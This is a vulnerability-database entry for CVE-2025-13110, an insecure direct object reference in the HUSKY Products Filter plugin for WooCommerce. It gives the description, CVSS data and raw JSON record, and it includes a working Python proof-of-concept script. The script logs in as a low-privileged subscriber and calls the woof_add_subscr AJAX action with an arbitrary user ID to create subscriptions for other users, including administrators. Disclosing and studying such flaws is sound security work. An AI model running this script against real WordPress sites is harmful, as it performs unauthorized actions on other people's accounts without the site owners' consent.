Security Vulnerability Report
中文
CVE-2025-13110 CVSS 4.3 MEDIUM

CVE-2025-13110

Published: 2025-12-18 13:15:46
Last Modified: 2026-04-15 00:35:42

Description

The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.3.7.3 via the "woof_add_subscr" function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber level access and above, to create product messenger subscriptions on behalf of arbitrary users, including administrators.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HUSKY – Products Filter Professional for WooCommerce <= 1.3.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13110 PoC - IDOR in HUSKY Products Filter # Target: WordPress with HUSKY Products Filter Plugin <= 1.3.7.3 def exploit_idor(target_url, username, password, target_user_id, product_id): """ Exploit IDOR vulnerability in woof_add_subscr function Allows authenticated subscribers to create subscriptions for arbitrary users Args: target_url: Target WordPress site URL username: Attacker username (subscriber role) password: Attacker password target_user_id: ID of user to create subscription for (e.g., 1 for admin) product_id: Product ID to subscribe to """ session = requests.Session() # Step 1: Authenticate as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Exploit IDOR to create subscription for target user exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'woof_add_subscr', 'user_id': target_user_id, # IDOR: arbitrary user ID 'product_id': product_id, 'notification_type': 'price_drop' # or other notification types } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Subscription created for user ID {target_user_id}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <url> <username> <password> <target_user_id> <product_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_uid = sys.argv[4] prod_id = sys.argv[5] exploit_idor(target, user, pwd, target_uid, prod_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13110", "sourceIdentifier": "[email protected]", "published": "2025-12-18T13:15:46.190", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.3.7.3 via the \"woof_add_subscr\" function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber level access and above, to create product messenger subscriptions on behalf of arbitrary users, including administrators."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3412492/woocommerce-products-filter", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3415428/woocommerce-products-filter", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9ea2dfc5-0dcc-4ea1-9ade-d59021e078fa?source=cve", "source": "[email protected]"}]}}